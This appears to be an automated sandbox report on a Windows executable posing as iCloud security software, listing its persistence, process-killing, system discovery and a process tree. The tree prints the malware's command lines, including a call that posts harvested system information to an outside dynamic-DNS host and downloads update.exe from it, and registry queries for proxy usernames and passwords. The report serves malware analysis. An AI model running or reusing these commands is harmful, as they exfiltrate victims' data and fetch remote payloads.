46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
143s
max time network
83s
platform
windows7_x64
resource
win7
submitted
11-08-2020 12:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

foo/63e9ce22dbf66934fd75c77bc84954d0.exe

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
1780	Icloud.exe
1664	Iclouding.exe
1832	Iclouding.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IcloudSecurity.lnk	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IcloudSecurity.lnk	cmd.exe

Loads dropped DLL 5 IoCs

pid	Process
1600	cmd.exe
1904	cmd.exe
1904	cmd.exe
1904	cmd.exe
1904	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
1532	timeout.exe
1928	timeout.exe
1636	timeout.exe
1924	timeout.exe
1636	timeout.exe
1240	timeout.exe
300	timeout.exe
2020	timeout.exe
656	timeout.exe
1992	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1816	systeminfo.exe

Kills process with taskkill 9 IoCs

evasion

pid	Process
320	taskkill.exe
1908	taskkill.exe
1856	taskkill.exe
1084	taskkill.exe
324	taskkill.exe
1836	taskkill.exe
1816	taskkill.exe
1820	taskkill.exe
2028	taskkill.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	324	taskkill.exe
Token: SeDebugPrivilege	1836	taskkill.exe
Token: SeDebugPrivilege	1820	taskkill.exe
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	320	taskkill.exe
Token: SeDebugPrivilege	1908	taskkill.exe
Token: SeDebugPrivilege	1856	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	1084	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 276 wrote to memory of 1600	276	63e9ce22dbf66934fd75c77bc84954d0.exe	24
PID 276 wrote to memory of 1600	276	63e9ce22dbf66934fd75c77bc84954d0.exe	24
PID 276 wrote to memory of 1600	276	63e9ce22dbf66934fd75c77bc84954d0.exe	24
PID 276 wrote to memory of 1600	276	63e9ce22dbf66934fd75c77bc84954d0.exe	24
PID 1600 wrote to memory of 324	1600	cmd.exe	26
PID 1600 wrote to memory of 324	1600	cmd.exe	26
PID 1600 wrote to memory of 324	1600	cmd.exe	26
PID 1600 wrote to memory of 324	1600	cmd.exe	26
PID 1600 wrote to memory of 1780	1600	cmd.exe	28
PID 1600 wrote to memory of 1780	1600	cmd.exe	28
PID 1600 wrote to memory of 1780	1600	cmd.exe	28
PID 1600 wrote to memory of 1780	1600	cmd.exe	28
PID 1600 wrote to memory of 1864	1600	cmd.exe	29
PID 1600 wrote to memory of 1864	1600	cmd.exe	29
PID 1600 wrote to memory of 1864	1600	cmd.exe	29
PID 1600 wrote to memory of 1864	1600	cmd.exe	29
PID 1780 wrote to memory of 1904	1780	Icloud.exe	30
PID 1780 wrote to memory of 1904	1780	Icloud.exe	30
PID 1780 wrote to memory of 1904	1780	Icloud.exe	30
PID 1780 wrote to memory of 1904	1780	Icloud.exe	30
PID 1904 wrote to memory of 1916	1904	cmd.exe	32
PID 1904 wrote to memory of 1916	1904	cmd.exe	32
PID 1904 wrote to memory of 1916	1904	cmd.exe	32
PID 1904 wrote to memory of 1916	1904	cmd.exe	32
PID 1904 wrote to memory of 1832	1904	cmd.exe	33
PID 1904 wrote to memory of 1832	1904	cmd.exe	33
PID 1904 wrote to memory of 1832	1904	cmd.exe	33
PID 1904 wrote to memory of 1832	1904	cmd.exe	33
PID 1904 wrote to memory of 1816	1904	cmd.exe	34
PID 1904 wrote to memory of 1816	1904	cmd.exe	34
PID 1904 wrote to memory of 1816	1904	cmd.exe	34
PID 1904 wrote to memory of 1816	1904	cmd.exe	34
PID 1904 wrote to memory of 1960	1904	cmd.exe	36
PID 1904 wrote to memory of 1960	1904	cmd.exe	36
PID 1904 wrote to memory of 1960	1904	cmd.exe	36
PID 1904 wrote to memory of 1960	1904	cmd.exe	36
PID 1960 wrote to memory of 1952	1960	cmd.exe	37
PID 1960 wrote to memory of 1952	1960	cmd.exe	37
PID 1960 wrote to memory of 1952	1960	cmd.exe	37
PID 1960 wrote to memory of 1952	1960	cmd.exe	37
PID 1960 wrote to memory of 2012	1960	cmd.exe	38
PID 1960 wrote to memory of 2012	1960	cmd.exe	38
PID 1960 wrote to memory of 2012	1960	cmd.exe	38
PID 1960 wrote to memory of 2012	1960	cmd.exe	38
PID 1904 wrote to memory of 2044	1904	cmd.exe	39
PID 1904 wrote to memory of 2044	1904	cmd.exe	39
PID 1904 wrote to memory of 2044	1904	cmd.exe	39
PID 1904 wrote to memory of 2044	1904	cmd.exe	39
PID 2044 wrote to memory of 2020	2044	cmd.exe	40
PID 2044 wrote to memory of 2020	2044	cmd.exe	40
PID 2044 wrote to memory of 2020	2044	cmd.exe	40
PID 2044 wrote to memory of 2020	2044	cmd.exe	40
PID 2044 wrote to memory of 2032	2044	cmd.exe	41
PID 2044 wrote to memory of 2032	2044	cmd.exe	41
PID 2044 wrote to memory of 2032	2044	cmd.exe	41
PID 2044 wrote to memory of 2032	2044	cmd.exe	41
PID 1904 wrote to memory of 2004	1904	cmd.exe	42
PID 1904 wrote to memory of 2004	1904	cmd.exe	42
PID 1904 wrote to memory of 2004	1904	cmd.exe	42
PID 1904 wrote to memory of 2004	1904	cmd.exe	42
PID 2004 wrote to memory of 1124	2004	cmd.exe	43
PID 2004 wrote to memory of 1124	2004	cmd.exe	43
PID 2004 wrote to memory of 1124	2004	cmd.exe	43
PID 2004 wrote to memory of 1124	2004	cmd.exe	43

C:\Users\Admin\AppData\Local\Temp\foo\63e9ce22dbf66934fd75c77bc84954d0.exe
"C:\Users\Admin\AppData\Local\Temp\foo\63e9ce22dbf66934fd75c77bc84954d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:276
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\iclouds.cmd" "
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Icloud.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:324
- - C:\Users\Admin\IcloudSecurity\Icloud.exe
    "C:\Users\Admin\IcloudSecurity\Icloud.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\icloud.cmd" "
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vol c:
        5⤵
        
        PID:1916
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vol c:
        5⤵
        
        PID:1832
    - - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:1816
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1960
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:1952
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyServer"
        6⤵
        
        PID:2012
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2044
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:2020
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyUser"
        6⤵
        
        PID:2032
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2004
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:1124
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyPass"
        6⤵
        
        PID:1148
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 44
        5⤵
        Delays execution with timeout.exe
        
        PID:656
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im update.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1636
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe
        
        Iclouding.exe --post-data="versiya=arm_27.08&comp=AVGLFESB&id=AVGLFESB_7D2E309C&sysinfo=Host Name: AVGLFESB+###OS Name: Microsoft Windows 7 Professional +###OS Version: 6.1.7601 Service Pack 1 Build 7601+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: Windows User+###Registered Organization: +###Product ID: 00371-177-0000061-85064+###Original Install Date: 6/16/2020, 9:02:59 AM+###System Boot Time: 8/11/2020, 12:33:57 PM+###System Manufacturer: DADY+###System Model: Standard PC (Q35 + ICH9, 2009)+###System Type: x64-based PC+###Processor(s): 2 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###[02]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2196 Mhz+###BIOS Version: SeaBIOS rel-1.12.0-0-ga698c89-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Coordinated Universal Time+###Total Physical Memory: 2,047 MB+###Available Physical Memory: 1,538 MB+###Virtual Memory: Max Size: 4,095 MB+###Virtual Memory: Available: 3,675 MB+###Virtual Memory: In Use: 420 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\AVGLFESB+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Local Area Connection+###DHCP Enabled: No+###IP address(es)+###[01]: 10.7.0.10+###[02]: fe80::eccd:5294:6da7:ed20+###" "http://single-office.ddns.net" -q -N http://single-office.ddns.net -O update.exe
        5⤵
        Executes dropped EXE
        
        PID:1664
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 5
        5⤵
        Delays execution with timeout.exe
        
        PID:1992
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 4
        5⤵
        Delays execution with timeout.exe
        
        PID:1240
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:320
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 24
        5⤵
        Delays execution with timeout.exe
        
        PID:300
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 44
        5⤵
        Delays execution with timeout.exe
        
        PID:1532
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1908
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im update.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1856
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1928
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe
        
        Iclouding.exe --post-data="versiya=arm_27.08&comp=AVGLFESB&id=AVGLFESB_7D2E309C&sysinfo=Host Name: AVGLFESB+###OS Name: Microsoft Windows 7 Professional +###OS Version: 6.1.7601 Service Pack 1 Build 7601+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: Windows User+###Registered Organization: +###Product ID: 00371-177-0000061-85064+###Original Install Date: 6/16/2020, 9:02:59 AM+###System Boot Time: 8/11/2020, 12:33:57 PM+###System Manufacturer: DADY+###System Model: Standard PC (Q35 + ICH9, 2009)+###System Type: x64-based PC+###Processor(s): 2 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###[02]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2196 Mhz+###BIOS Version: SeaBIOS rel-1.12.0-0-ga698c89-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Coordinated Universal Time+###Total Physical Memory: 2,047 MB+###Available Physical Memory: 1,538 MB+###Virtual Memory: Max Size: 4,095 MB+###Virtual Memory: Available: 3,675 MB+###Virtual Memory: In Use: 420 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\AVGLFESB+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Local Area Connection+###DHCP Enabled: No+###IP address(es)+###[01]: 10.7.0.10+###[02]: fe80::eccd:5294:6da7:ed20+###" "http://single-office.ddns.net" -q -N http://single-office.ddns.net -O update.exe
        5⤵
        Executes dropped EXE
        
        PID:1832
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 5
        5⤵
        Delays execution with timeout.exe
        
        PID:1636
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 4
        5⤵
        Delays execution with timeout.exe
        
        PID:1924
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1084
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 24
        5⤵
        Delays execution with timeout.exe
        
        PID:2020
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\error.vbs"
    3⤵
    PID:1864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads